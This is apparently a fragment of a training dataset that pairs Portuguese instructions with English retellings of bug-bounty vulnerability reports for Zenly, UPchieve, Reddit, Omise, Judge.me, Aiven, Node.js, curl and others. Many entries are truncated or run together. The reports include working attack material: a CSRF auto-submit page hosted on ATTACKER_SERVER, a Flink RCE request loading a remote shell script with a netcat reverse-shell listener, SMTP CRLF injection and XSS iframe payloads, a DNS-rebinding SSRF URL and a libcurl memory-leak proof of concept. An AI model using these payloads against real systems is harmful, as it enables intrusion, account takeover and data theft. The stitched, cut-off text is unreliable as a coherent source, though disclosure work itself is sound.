"output": "### Resumo da Vulnerabilidade\nDuring the **authentication** flow, an SMS is sent to the user in order to validate the session and proceed to the user account. The way Zenly API handles this flow is by:\n1. Calling the `/SessionCreate` endpoint with the mobile phone number of the user.\n2. A session for the user is created and a session token is returned, but no operations with this session are possible until the verification is complete.\n3. An SMS message is sent to the user, containing a verification code.\n4. Calling the `/SessionVerify` endpoint with both the session token and the verification code received by SMS.\n5. Once this request is successfully completed, the session token becomes valid and the user is now logged in.\nAfter the first call to `/SessionCreate`, subsequent calls will return ==the same session token==, until a call to `/SessionVerify` is made with a valid verification code.\n\n### Passos para Reproduzir\nTo reproduce this issue, an environment that enables intercepting and decoding network requests is required. Once this environment is set up, we are able to gain visibility over network activity.\nBy following a typical login flow, we can gain knowledge of the network requests that are involved. The flow starts by requesting the mobile phone number from the user. Once the user inputs their phone number, they will be prompted for a verification code that is sent through SMS.\n{F1355357}\nAt this moment, before entering the verification code, a request to `/SessionCreate` is launched. Note that this request (on the left) contains the mobile phone number of the user, and the response (on the right) to this request contains a **session token**, as shown below.\n███████\nNow, if an attacker also sends a request to `/SessionCreate` with the mobile phone number of the legitimate user, they will obtain the same session token. The response to this request, initiated by the attacker, is shown below:\n█████████\n**Note:** In this example, the attacker called `/SessionCreate` after the legitimate user. However, the attacker could also have called `/SessionCreate` before the legitimate user. This would have caused Zenly (on the side of the legitimate user) to obtain **the same session token that the attacker obtained**.\nAt this moment, the legitimate user will receive an SMS message containing a verification code. The authentication flow is finished (meaning the session token will become valid) once the user inputs this code in their Zenly application. However, once the user does this, the attacker will also end up with a valid session token in their hands (**since it is the same token**).\nThe attacker can then use this token to impersonate the legitimate user, executing any request to the Zenly API with it. The attacker can also, at any time, check if the session token is valid by launching a request to `/Me`, an endpoint that returns information about the current session. If the verification code has not yet been entered by the legitimate user, requests to `/Me` will return a 401 Unauthorized response. Once the code is entered, requests to `/Me` will return session information (such as phone number and user identifier), as shown below:\n████\nOnce the attacker knows the session is valid, they can launch requests to `███████`, `██████` or `████` instead, thus **gaining access to notifications, geolocation, and conversations** of the legitimate user and their friends.\n\n### Impacto\nAn attacker can take over a user account by abusing the `/SessionCreate endpoint`, which will consistently return the same session token (although not yet valid) for the same user. Once the legitimate user validates the SMS code for that session token, the session will become valid for both the legitimate user and the attacker.\nThe main point of this issue is that the attacker needs to obtain a session token before the legitimate user calls the `/SessionVerify` endpoint. This can be done either before or after the legitimate user calls the `/SessionCreate endpoint`. \nAllowing both the legitimate user and an attacker to have the same session token will give an advantage to the attacker. The verification code sent through SMS will remain valid for the same amount of time that the session token is valid, and it will not be regenerated within that time period, meaning that if the legitimate user inputs this code in the application (triggering a call to `/SessionVerify`), the session token that both the legitimate user and the attacker hold will become valid. This means that the attacker now has a valid session for the account of the legitimate user, even though the attacker never knew the verification code.\nOn the other hand, even if the attacker wasn’t able to obtain the session token (through a call to `/SessionCreate`) before the legitimate user, this attack is still possible while the legitimate user doesn’t input the correct verification code in the application, although this scenario would be less likely since the time window for carrying out this attack can be rather short.\n**Once the attacker has a valid session for the account of the legitimate user, they can access their location, notifications, conversations, and friends’ information just like the legitimate user could.**"

This does not stop the attacker from performing any arbitrary actions on behalf of the user.\n\nThis is possible through a simple HTML form with hidden inputs, submitted with JavaScript. While POST requests are made using JSON data by default, `application/x-www-form-urlencoded` is accepted as well. Because the user's session cookie does not have the SameSite attribute set, it is sent along with the request.\n\nThe following endpoints were found to be vulnerable:\n- `POST /api/calendar/save` (set availability for text messages)\n- `POST /api/training/score` (submit quizzes and subject certifications)\n- `POST /auth/reset/send` (send password reset email)\n- `POST /api/user/volunteer-approval/background-information` (submit background information)\n- `POST /api/user/volunteer-approval/reference` (request a reference)\n\nThe attacker can perform any of the above actions on behalf of the user, as long as the user has a valid session cookie. There are probably more endpoints to be discovered, but I do not have access to them yet due to the approval / onboarding process.\n\nPUT requests, particularly `PUT /api/user` (to update a user's phone number and account status), are not possible through this method. However, older browsers might not comply to CORS pre-flight requests and still allow a PUT request initiated by JavaScript on the attacker's site to go through.\n\n### Passos para Reproduzir\n1. As a victim, log in to https://hackers.upchieve.org/\n2. Create a page like the one below.\n\nThis is an example for performing a CSRF on the `/api/calendar/save` endpoint (the full HTML file is attached). In this example, we set all the possible time slots to \"true\".\n\n```html\n<html>\n <body>\n <form action=\"https://hackers.upchieve.org/api/calendar/save\" method=\"POST\">\n <input type=\"hidden\" name=\"availability[Sunday][12a]\" value=\"true\" />\n <input type=\"hidden\" name=\"availability[Sunday][1a]\" value=\"true\" />\n\t\t\n\t\t...\n\t\t\n <input type=\"hidden\" name=\"availability[Saturday][11p]\" value=\"true\" />\n <input type=\"hidden\" name=\"tz\" value=\"Asia/Singapore\" />\n </form>\n <script>\n \tdocument.forms[0].submit();\n </script>\n </body>\n</html>\n```\n\n3. Serve the page on the attacker server.\n4. As the victim, visit http://ATTACKER_SERVER/calendar_csrf.html\n\nOnce the HTML page loads on the browser, the POST request is submitted and we would see the following response:\n\n```json\n{\"msg\":\"Schedule saved\"}\n```\n\n5. Verify that the victim's calendar has been modified.\n\nI have also prepared other CSRF payloads for the other endpoints.\n\n- `calendar_csrf.html` performs the above-described attack.\n- `reference_csrf.html` sends out reference requests on behalf of the victim.\n- `quiz_csrf.html` submits quizzes for grading on behalf of the victim.\n- `reset_csrf` sends out password resets on behalf of the victim.\n\n### Impacto\nWhen an authenticated user visits any attacker-controlled site, the attacker is able to perform arbitrary authenticated actions on behalf of the user.

"output": "### Resumo da Vulnerabilidade\nI was looking at recent disclosed report #1297689 and I was thinking to take a look for the same issue on this asset as I love to test for subdomain takeover vulnerabilities. \n\nWhile testing I noticed a DNS entry for `███████.████.██████████.com` is CNAME `████.███████████` which's TLD is not registered yet and also not reserved for using Internal DNS Domain Name . As a result, an attacker can register for the `███` TLD to create and takeover **███████.████████.█████.com** subdomain.\n\n### Impacto\nAn attacker can register for **████████** TLD to take over the target subdomain by buying **██████████** domain and create `█████.███████` subdomain to serve content on **█████.█████████.█████████.com** subdomain, which can lead to malicious attacks against users. Users will see this as a valid domain of Affirm and they may share their sensitive information with an attacker.\n\n\n**Reference documents:**\n* https://www.itprotoday.com/active-directory/q-can-i-use-local-or-pvt-top-level-domain-tld-names-part-active-directory-ad-tree\n* https://helgeklein.com/blog/2008/09/choosing-a-future-proof-internal-dns-domain-name-mission-impossible/\n\n\nRECOMMENDED FIX\nIt looks like it was a human error while creating that subdomain record.

As I note later on, it appears that this is a \"one time use only\" as the Payment URL becomes invalid after activating Post+ for the inactive Post+ blog.\n\n### Passos para Reproduzir\nIn order to reproduce, you need the `blogMembershipsId` of an inactive Post+ blog. This creates a high bar to actually exploit this but, for some reason, I had the `blogMembershipsId` of `███████`, who had deactivated Post+ shortly after launch (the membership ID is `█████`).\n\n1. Get an active Post+ subscription URL (I used `██████.tumblr.com`'s subscription URL).\n2.

"input": "",
"output": "### Resumo da Vulnerabilidade\nWe have found three bugs in Reddit's [markdown parser](https://github.com/reddit/snudown). Two of these bugs are exploitable to launch an algorithmic complexity denial-of-service (DoS) attack. In this report we explain the bugs and exploits. We also show, in a non-disruptive way, that it appears to exist in the current version of Reddit.\n\n### Passos para Reproduzir\nSince DoS attacks are out of scope for Reddit's bug bounty program, we need a non-disruptive way to show that the bugs exist in the current version of Reddit. To this end, we use Bug 3. Since the hash table considers reference names with the same hash value to be equal, the first entry in the linked list with the correct hash value will be returned. We can confirm that SDBM hash is used by the current version, by using a small number of colliding reference names, each with a unique URL, and observing the generated HTML text. If SDBM hash is indeed used, the use of any of these references will incorrectly yield the final URL (as this is first in the linked list).\n\nWe show the setup and outcome of this experiment. In the first image, we show the markdown text we use in a private message. Note that each of the reference names point to a different URL. Each of the reference names we use collide with respect to the SDBM hash function.\n{F1450704}\n\nIn the second image, we show the HTML text of the received private message, created from the markdown text. It is clear that the same URL (`https://www.example.com/10`) was retrieved, regardless of which reference name was requested. This is the incorrect behavior we expect if SDBM hash is used, which means Bug 1 exists in the current version of Reddit.\n{F1450705}\n\n### Impacto\nIf one, or more, attackers repeatedly force a server to parse maliciously crafted markdown text using Snudown, it may significantly impact the availability of the server and even lead to DoS."

You will get a notification that a new update is available; when you update, your website gets compromised\n\nI did not attempt to claim your plugin, as the update would inadvertently break the website (old plugin files will get deleted), but I simulated the attack with [my custom plugin](https://wordpress.org/plugins/xml-rpc-settings/), and it works.\n\n### Impacto\nAn attacker can hijack your plugin, currently not available in the WordPress Plugin Directory (SVN registry). If that happens and you update the plugin, it can introduce a backdoor or RCE, essentially giving keys to the kingdom to the attacker."

The aim is to lure the web app to a different IP address/host. In this attack, and particularly in our case, a malicious server will first perform a domain name resolution to the IP address of `178.62.122.208` (a random HTTP server that is valid as a Web-hook for Omise web-app) and than rebind to an internal IP address `127.0.0.1`, thus, bypassing firewall protection. \n\nThe malicious link is `https://A.178.62.122.208.1time.127.0.0.1.1time.repeat.rebind.network/webhook5` can be depicted as follow:\n 1. Initial resolution of the IP address will point to `178.62.122.208` for the first time.\n 2. The second time, the malicious DNS server will resolve to `127.0.0.1` for one time.\n 3.The next time the DNS server will switch back the first IP address. And so on.\n\nWhen a user uses a private IP address an error will be displayed, the web app recognizes that the web-hook endpoint is either insecure or forbidden.\nHowever, DNS rebinding attack will bypass this protection.\n\n### Passos para Reproduzir\n1. Create an account at Omise.co and go to <https://dashboard.omise.co/test/webhooks>\n 1. Add the following endpoint `https://A.178.62.122.208.1time.127.0.0.1.1time.repeat.rebind.network/webhook5` as an external web-hook.\n\nIn case, the malicious DNS server resolves initially the previous URL to `127.0.0.1` you will get this error:\n\n {F1491842}\n\nIn case, it resolves initially to the other IP address. It will be saved.\n\n{F1491844}\n\n### Impacto\nThis is a Blind SSRF, since the malicious URL induces the server side to perform a request to an internal endpoint each time a recent activity is fired such as *Create a recipient*. Furthermore, the malicious URL can be further personalized (replace `webhook5` with `else/internal` to get `https://127.0.0.1/else/internal`)."

In the 'text block', add a link and insert this payload as the display text and url (make sure to edit the ID to targeted reviewer's ID): `https://<iframe src=\"https://judge.me/[ID_OF_TARGET]?tab=public_profile\">`\n{F1510271}\n\n 1. Click 'Save' two times. I'm honestly not sure why but it won't display properly unless you save it twice\n\n 1. Now to send that template, create an order in your Shopify instance and make sure to fulfill that order: `yourshop.myshopify.com/admin/draft_orders/new` -> Mark as fulfilled. Make sure that the customer you use is the one from step 1 or the email of the reviewer account\n\n 1. Once that is done, go back to the Judge.me app and click 'Requests' -> 'Request Dashboard'\n\n 1. Click 'Add manual request' -> 'Send Review Request for Old Orders'\n\n 1. The reviewer account should receive an email notification regarding a review request, click 'Trouble viewing email' to access the full email preview\n\n 1. In there you should see that the iframe for the reviewer account is visible, now all that is needed to be done is perform XSSJacking techniques to trigger the Self-XSS\n{F1510279}\n\nNote: Getting a valid review request that you can use for the preview is pretty confusing since the 'send me an example' doesn't work for full email preview, it took me quite a while before I successfully managed to do it so if there's anything that I haven't explained properly please let me know or you can directly ask the Judge.me team for help :)\n\n### Impacto\nXSS via XSSJacking techniques"

"input": "",
"output": "### Resumo da Vulnerabilidade\nAiven has not restricted access to the GET `jars/{jar_id}/plan` API. This endpoint can be used to load java class files with the specified arguments that are in the java classpath on the server. This can be abused to gain RCE on the Apache Flink Server.\n\n### Passos para Reproduzir\nThe video below shows how to setup the Apache Flink instance and run the PoC. Feel free to use my VPS which will make triaging somewhat easier (`ssh ████████`, password: `██████`):\n\n█████████\n\n\n 1. Login to my aiven account: `████`, password: `██████`\n 1. Run the SQL job as demonstrated in the video\n 1. Open the Flink Web UI and verify that there is a new job in the jobs panel.\n 1. Setup netcat reverse shell listener on the VPS: `nc -n -lvp 8888`\n 1. Update the poc.py variables to match your instance, if you are not using my Apache Flink instance\n 1. Run the poc: `python3 poc.py`\n 1. Reverse shell connection should pop up\n 1. After connection has been closed, the Apache Flink will crash, so the Aiven service daemon will have to restart it. Because of this, you have to run new SQL job after every time you run the poc script\n\n# API Request\n\nHere's the HTTP API request that exploits the issue:\n\n```http\nGET /jars/145df7ff-c71a-4f3a-b77a-ee4055b1bede_a.jar/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load(\"https://fs.bugbounty.jarijaas.fi/aiven-flink/shell-loader.js\")&parallelism=1 HTTP/1.1\nHost: ████\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nAuthorization: Basic █████\nsec-ch-ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"96\", \"Google Chrome\";v=\"96\"\nAccept: application/json, text/plain, */*\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\nsec-ch-ua-platform: \"Windows\"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Language: en-US,en;q=0.9,fi;q=0.8\n```\n\n### Impacto\nAttacker can execute commands on the server and use this access to potentially pivot into other resources in the network."

"input": "",
"output": "### Passos para Reproduzir\nThe vulnerability can be reproduced in the Node.js REPL, tested with version `v16.7.0`:\n\n 1. Run the following: `console.table({foo: 'bar'}, ['__proto__'])`\n 2. Verify that the object prototype has been polluted: `Object.prototype[0] === ''`\n\nThe pollution will vary depending on the number of properties on the object passed as the first parameter, with each additional property assigning another incrementing index of the object prototype. This means that if the first parameter is also controlled by the attacker, it is possible to assign empty strings from `0..n` to the object prototype, for any `n`:\n\n```\n> console.table({a: 1, b: 1, c: 1}, ['__proto__'])\nUncaught TypeError: Cannot create property '0' on string ''\n\n> Object.prototype\n[Object: null prototype] { '0': '', '1': '', '2': '' }\n```\n\nThe vulnerable assignment can be found [here](https://github.com/nodejs/node/blob/3f7dabdfdc9e2a3cd3f92e377755c0dd43f6751b/lib/internal/console/constructor.js#L576) in the Node.js `console.table` implementation.\n\nA suggested remediation is to ignore `properties` named `'__proto__'`, or to use a different data structure to store the computed table fields. For example:\n\n```diff\n const keys = properties || ObjectKeys(item);\n for (const key of keys) {\n+ if (key === '__proto__') {\n+ continue\n+ }\n if (map[key] === undefined)\n map[key] = [];\n```\n\n### Impacto\n:\n\nUsers of `console.table` have no reason to expect the danger of passing on user input to the second `properties` array, and may therefore do so without sanitation. In the even that for example a web server is exposed to this vulnerability, it is likely to be a very effective denial of service attack. In extremely rare cases the prototype pollution can lead to more severe attack vectors such as bypassing authorization mechanisms, although due to limited control of the pollution this is unlikely."

Luckily, however, this is only\npossible when `libcurl` runs on 64 bit Windows and it requires an\nattacker capable of influencing the size of a file upload part.\n\nThe core of the problem is the following: while on 64 Linux and BSD\nsystems, `sizeof(long)` is 8, on 64 bit Windows, it\nis 4. Consequently, the function `AddHttpPost` carries out an integer\ntruncation and sign conversion on these systems, as the parameter\n`bufferlength` of type `size_t` (8 byte wide, unsigned) is assigned to\nthe field `post->bufferlength` of type `long` (4 byte wide,\nsigned). The following excerpt shows the corresponding code:\n\n\n```\nstatic struct curl_httppost *\nAddHttpPost(char *name, size_t namelength,\n char *value, curl_off_t contentslength,\n char *buffer, size_t bufferlength,\n\t [...]\n struct curl_httppost **last_post)\n{\n\t[...]\n post->buffer = buffer;\n post->bufferlength = (long)bufferlength; /* <=== */ \n\t[...]\n}\n```\n\nIn particular, this function is triggered when constructing an HTTP\nPOST request that specifies custom file upload parts, e.g., with a\nstatement such as the following:\n\n```\ncurl_formadd(&formpost,\n &lastptr,\n CURLFORM_COPYNAME, \"name\",\n CURLFORM_BUFFER, \"data\",\n CURLFORM_BUFFERPTR, buffer,\n CURLFORM_BUFFERLENGTH, size,\n CURLFORM_END);\n```\n\nAn attacker capable of choosing the file to upload may choose for it\nto be 4294967295 in size, and, indeed, `libcurl` will transfer this\nfile without trouble on 64 bit Linux. On 64 bit Windows, however, this\nleads to `post->bufferlength` being -1 due to the\ntruncation/sign-conversion, which happens to also be the value of the\nconstant `CURL_ZERO_TERMINATED`. On posting the data, this undesirable\ninterpretation causes the function `curl_mime_data` to assume that the\nlength of the buffer to upload is not known and should be determined\nvia `strlen`. Assuming the buffer does not contain zero bytes - and in\nfact, the documentation states that it MAY NOT contain zero bytes,\n`strlen` will read beyond the bounds of the buffer `buffer`, and\nsubsequently transmit the buffer contents AND memory behind it to the\nHTTP server.\n\nThe following (commented) excerpt of `curl_mime_data` illustrates this\nbehavior:\n\n```\nCURLcode curl_mime_data(curl_mimepart *part, /* <=== */ \n const char *data, size_t datasize)\n{\n [...]\n\n if(data) {\n // This branch is triggered when `datasize` is -1,\n\t// Note that `datasize` is again `size_t`, so, it will\n\t// then be > 2**32-1.\n if(datasize == CURL_ZERO_TERMINATED)\n datasize = strlen(data);\n\n\t// With a system that has > 4GB RAM, this allocation\n\t// succeeds.\n part->data = malloc(datasize + 1);\n if(!part->data)\n return CURLE_OUT_OF_MEMORY;\n\n\t// The part size is now set to be larger than 2**32-1,\n\t// although 2**32-1 is the size of the file. \n part->datasize = datasize;\n\n```\n\n### Passos para Reproduzir\nTo further illustrate the problem, I have created a sample application\nfor which the string \"secret\" is located directly after the\nto-be-transmitted buffer. On 64 bit Linux, the program correctly\ntransmits only the contents of the buffer. On 64 bit Windows, it\ntransmits the buffer contents and the string \"secret\". Logging network\ntraffic using `tcpdump`, this has been confirmed as the attached\nscreenshots show.\n\nThe following is the sample program (test.c), which compiles both on Linux\nand Windows (Visual Studio 2022 Community Edition).\n\n```\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <curl/curl.h>\n\nint main(void)\n{\n CURL* curl;\n CURLM* multi_handle;\n int still_running = 0;\n struct curl_httppost* formpost = NULL;\n struct curl_httppost* lastptr = NULL;\n struct curl_slist* headerlist = NULL;\n static const char buf[] = \"Expect:\";\n\n // Place 4294967295 'A's on the heap (the buffer to transmit),\n // followed by the string \"secret\". If we now instruct libcurl\n // to transfer 4294967295, it should only transfer 'A's.\n \n size_t size = (size_t) 0xffffffff;\n char* buffer = (char*)malloc(size + strlen(\"secret\") + 1); \n memset(buffer, 'A', size); \n memcpy(buffer + size, \"secret\", strlen(\"secret\"));\n buffer[size + strlen(\"secret\")] = '\\0';\n\n // Instruct curl to send the buffer, specifying its size\n // to be 4294967295 (size)\n \n int ret = curl_formadd(&formpost,\n &lastptr,\n CURLFORM_COPYNAME, \"name\",\n CURLFORM_BUFFER, \"data\",\n CURLFORM_BUFFERPTR, buffer,\n CURLFORM_BUFFERLENGTH, size,\n CURLFORM_END);\n\n // The return value is 0 (success)\n printf(\"%d\\n\", ret);\n \n curl = curl_easy_init();\n multi_handle = curl_multi_init(); \n headerlist = curl_slist_append(headerlist, buf);\n if (curl && multi_handle) {\n // We are uploading to a local webserver, but this can be any webserver.\n // upload.cgi can be an empty file.\n curl_easy_setopt(curl, CURLOPT_URL, \"http://192.168.1.216/upload.cgi\");\n curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);\n curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist);\n curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost); \n curl_multi_add_handle(multi_handle, curl); \n do {\n CURLMcode mc = curl_multi_perform(multi_handle, &still_running);\t \n if (still_running)\n\t /* wait for activity, timeout or \"nothing\" */\n\t mc = curl_multi_poll(multi_handle, NULL, 0, 1000, NULL);\t \n if (mc)\n\t break;\t \n } while (still_running); \n curl_multi_cleanup(multi_handle);\n curl_easy_cleanup(curl);\n curl_formfree(formpost);\n curl_slist_free_all(headerlist);\n }\n return 0;\n}\n```\n\nAs suggested patch would be to use the type `long long` as opposed to\n`long` for the buffer length. `long long` is guaranteed to be 8 byte\nwide on Linux and Windows 64 bit systems.\n\n### Impacto\nAn attacker could read memory from the process remotely, meaning that any information processed by the program using libcurl may be disclosed. Depending on the application, this information may be sensitive, e.g., passwords, keys could be in memory. In addition, reading memory offsets may be useful to identify memory mappings remotely in preparation for a memory corruption exploits that requires bypassing of ASLR."

Using strcpy() function to copy a large character array into a smaller one is dangerous, but if the string will fit, then it will not be worth the risk. If the destination string is not large enough to store the source string then the behavior of strcpy() is unspecified or undefined."

The errors in SMTP are returned in the response, thus making this a non-blind injection.\n\nFor example, an attacker can inject a simple `EHLO a` command to view information about the backend server:\n\n```\n{\"start\":1647306900,\"end\":\"1647307200\",\"displayName\":\"Test User\\r\\n\",\"email\":\"\\\">\\r\\nEHLO a\\r\\nRCPT TO:<a@a.com>\\\"@b.com\",\"description\":\"Please accept!\\r\\n\",\"timeZone\":\"Asia/Singapore\"}\n```\n\nWhich for Gmail would return:\n\n```\n{\"status\":\"error\",\"message\":\"Could not send mail: Expected response code 354 but got code \\\"250\\\", with message \\\"250-smtp.gmail.com at your service, [116.89.6.224]\\r\\n250-SIZE 35882577\\r\\n250-8BITMIME\\r\\n250-AUTH LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH\\r\\n250-ENHANCEDSTATUSCODES\\r\\n250-PIPELINING\\r\\n250-CHUNKING\\r\\n250 SMTPUTF8\\r\\n\\\"\",\"data\":{\"type\":\"OCA\\\\Calendar\\\\Exception\\\\ServiceException\",\"message\":\"Could not send mail: Expected response code 354 but got code \\\"250\\\", with message \\\"250-smtp.gmail.com at your service, [116.89.6.224]\\r\\n250-SIZE 35882577\\r\\n250-8BITMIME\\r\\n250-AUTH LOGIN PLAIN XOAUTH2 PLAIN-CLIENTTOKEN OAUTHBEARER XOAUTH\\r\\n250-ENHANCEDSTATUSCODES\\r\\n250-PIPELINING\\r\\n250-CHUNKING\\r\\n250 SMTPUTF8\\r\\n\\\"\",\"code\":250,\n```\n\nThis leaks the backend IP addresses, SMTP server data, and so on.\n\n### Passos para Reproduzir\nNote: Email sending should be set up in the admin settings.\n\n 1.

Change the `email` value to `\"email\":\"\\\">\\r\\nEHLO a\\r\\nRCPT TO:<a@a.com>\\\"@b.com\"`.

The said endpoint makes it possible to create workflows and perform other flow related actions without using any of the two methods stated above. To substantiate my claim, I created a workflow that 'adds a tag whenever a customer registers an account' (created an account tag) see the image below for details.\n{F1667015} \n\nIt's worth mentioning that the workflows created this way don't show up in the app or any where else, information about them can only be gotten by hitting the same endpoint. There are couple of other mutations that are accessible but I used only `templateInstall` and `workflowActivate` for demonstration.

While inspecting the source code file [RealtimeGQLSubscriptionAsync.js](https://www.redditstatic.com/desktop2x/RealtimeGQLSubscriptionAsync.226119a9ae841bb563eb.js) I came across the node_module subscriptions-transport-ws (See Screenshot 1). The search result of the [subscriptions-transport-ws package](https://www.npmjs.com/package/subscriptions-transport-ws) on npmjs.com displayed a large deprecation warning at the top of the page (See Screenshot 2) so I decided to research further. The read-me file within the package [github repository](https://github.com/apollographql/subscriptions-transport-ws) states that the package has been largely unmaintained since 2018 and that users should migrate to graphql-ws (See Screenshot 3). Doing a [quick search in the issues tab](https://github.com/apollographql/subscriptions-transport-ws/issues?q=is%3Aissue+is%3Aclosed+vulnerability) for the keyword \"vulnerability\" I came across an issue where the github user PabloJomer pointed out that the package.json lists a vulnerable dependency called ws (See Screenshot 4) The vulnerable package is listed on the NIST National Vulnerability Database under [CVE-2021-32640](https://nvd.nist.gov/vuln/detail/CVE-2021-32640) with a Base Score of 5.3. Further details and a PoC can be found on the Snyk Vulnerability database located [here](https://security.snyk.io/vuln/SNYK-JS-WS-1296835) (See Screenshot 5).\n\nThe policy has some conflicting information so I wasn't exactly sure about what I should do about this vulnerability. The out-of-scope section states \"Previously known vulnerabilities without a working Proof of Concept\" but two sections later it is states to not attempt denial of services attacks. (See screenshot 5) The vulnerability I have found is a Regular expression denial of service but I am strictly forbidden from attempting any denial of service attacks. I believe I have clearly outlined the existence of a vulnerable dependency within you domain and if given the opportunity I could successfully execute the PoC vulnerability as described in the snyk link mentioned above.\n\n### Impacto\n:\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down."

"instruction": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: curl proceeds with unsafe connections when -K file can't be read",
"input": "",
"output": "### Resumo da Vulnerabilidade\nI'm using curl 7.82.0 on Linux. When the file specified by the -K option can't be read, curl sends network traffic as specified by the other options that are explicitly included on the command line (in other words, there's only a warning and I'd like it to be a fatal error). This behavior occurs even if those other options result in an action that's often considered unsafe, such as use of cleartext passwords. It's fine for curl to be capable of sending cleartext passwords, but this shouldn't happen unintentionally.\n\nI feel that this is a vulnerability in curl because curl is able to recognize that the user's intended set of options was not specified correctly, but curl still decides to send network traffic corresponding to the known subset of those options. One might argue that, philosophically, curl prefers to send network traffic even if the user's input is underspecified; however, this isn't true elsewhere in curl. For example, if the user misspells one of the options on the command line, curl doesn't simply ignore that one, and do whatever is specified by the remaining, correctly spelled options. Instead, any misspelled option is a fatal error, and curl sends no network traffic at all. My suggestion is to make this -K situation consistent with that, i.e., if the file specified by -K can't be read, then that is a fatal error and no network traffic is sent.\n\n### Passos para Reproduzir\n1. Begin typing a curl command line that uses the -K option followed by a filename.\n 2. Create the file with that filename.\n 3. Within the file, include a curl option that is typically regarded as making network traffic more safe, e.g., the --ssl-reqd option.\n 4. Ensure that the curl process cannot read this file.\n 5. Enter the curl command.\n 6. Observe that curl does **not** exit with an error message stating that the file can't be read.\n 7. Observe that curl makes the network connection without the safety measure chosen in step 3.\n\n### Impacto\nIn the main example above, the attacker can discover a cleartext password. More generally, the attacker can achieve any security impact that **any** curl option was trying to prevent. For example, the victim's source IP address may be leaked if the curl option was to use a proxy server. The connection may honor a revoked certificate if the curl option was to specify a local file with a Certificate Revocation List. Several others may also be relevant depending on the protocols and threat model."

The Python script for the Webserver and the certificate chain are attached to this report. To trigger the DoS in curl, the following steps need to be executed:\n\n 1. Modify URL in certinfo example (https://github.com/curl/curl/blob/master/docs/examples/certinfo.c#L46) to point to `https://localhost:4443/` instead of `https://www.example.com/` (`url_easy_setopt(curl, CURLOPT_URL, \"https://localhost:4443/\")`)\n 1. Build curl with NSS TLS library (./configure --with-nss) and with examples (make examples)\n 1. Execute python script attached to this report to start the attacker's Webserver\n 1. Execute certinfo (doc/examples/certinfo)\n\n### Impacto\nAn attacker who controls a server that a libcurl-using application (with NSS and enabled CERTINFO) connects to, can trigger a DoS. In this case, the application runs into an infinite loop and consumes nearly 100% CPU.\n\nUsing the CVSS calculator, I initially came up with medium severity (5.3). However, because the vulnerabilities relies on CERTINFO being enabled and NSS being used, which is not that popular and will soon be deprecated (https://curl.se/dev/deprecate.html), I eventually estimate the severity to be low."

"output": "### Resumo da Vulnerabilidade\nIn one of my previous reports i send parameter tampering report vulnerability. Then you asked me to send PoC and you just closed it, that's why i'm sending you this new report with exactly name of vulnerability. Integer Overflows are closely related to other conditions that occur when manipulating integers. An Integer Overflow is the condition that occurs when the result of an arithmetic operation, such as multiplication or addition, exceeds the maximum size of the integer type used to store it. When an integer overflow occurs, the interpreted value will appear to have “wrapped around” the maximum value and started again at the minimum value. For example, an 8-bit signed integer on most common computer architectures has a maximum value of 127 and a minimum value of -128. If a programmer stores the value 127 in such a variable and adds 1 to it, the result should be 128. However, this value exceeds the maximum for this integer type, so the interpreted value will “wrap around” and become -128. \n\nAttackers can use these conditions to influence the value of variables in ways that the programmer did not intend. The security impact depends on the actions taken based on those variables. Examples include, but are certainly not limited, to the following:\n\n An integer overflow during a buffer length calculation can result in allocating a buffer that is too small to hold the data to be copied into it. A buffer overflow can result when the data is copied.\n\n When calculating a purchase order total, an integer overflow could allow the total to shift from a positive value to a negative one. This would, in effect, give money to the customer in addition to their purchases, when the transaction is completed.\n\n Withdrawing 1 dollar from an account with a balance of 0 could cause an integer underflow and yield a new balance of 4,294,967,295.\n\n A very large positive number in a bank transfer could be cast as a signed integer by a back-end system. In such case, the interpreted value could become a negative number and reverse the flow of money - from a victim's account into the attacker's.\n\n### Passos para Reproduzir\nBeside card payment, you have option \"cache on delivery\" and there i found one mistake which gives me possibility to change price in last moment.. The moment when you actually should change quantity value is:\n\n### Impacto\nInteger overflow, quantity value manipulation leads to price manipulation.."

The redirect is followed and the secretfile content fetched\n\nIn effect the attacker can choose which content is accessed with the client certificate. This proof of concept is of course rather silly as one-liner curl command, but it still demonstrates the inability of libcurl to restrict where key/cert are used. This scenario of course requires that the application in question can be passed attacker controlled URLs and that redirects are followed. If the attacker also wishes to obtain the secretfile response the application in question should be returning the file contents to the request to the attacker (lets assume attacker can pass URLs the app and gets the fetched content back as result).\n\nConfiguring client key/cert for arbitrary requests is unwise. However, since the common understanding is that the client certificate public key is \"useless\" to the attacker without the corresponding private key, it might happen that this (arguably silly) use pattern might exists.

